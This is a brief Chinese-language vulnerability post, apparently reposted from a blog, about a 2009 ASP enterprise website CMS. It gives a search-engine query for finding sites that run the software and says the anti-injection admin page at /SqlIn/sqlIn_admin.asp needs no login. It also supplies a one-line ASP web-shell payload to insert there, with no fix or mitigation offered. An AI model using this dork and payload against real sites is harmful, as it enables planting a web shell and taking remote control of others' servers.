魅力企业网站管理系统 2009 SP3 中英繁漏洞
2009年11月24日星期二 | | |魅力企业网站管理系统 2009 SP3 中英繁漏洞
作者：幻泉[B.S.N]
来源：黑客防线
源码下载http://down.chinaz.com/soft/19655.htm
官方网站http://www.melyysoft.com/
漏洞等级：高
Google搜索："0351-6061896"
漏洞说明：
防注入系统未设置登陆导致可以访问插入一句话
插入地址：/SqlIn/sqlIn_admin.asp
插入代码：":execute request("value"):a="
From: http://www.sai52.com/archives/869/
博文
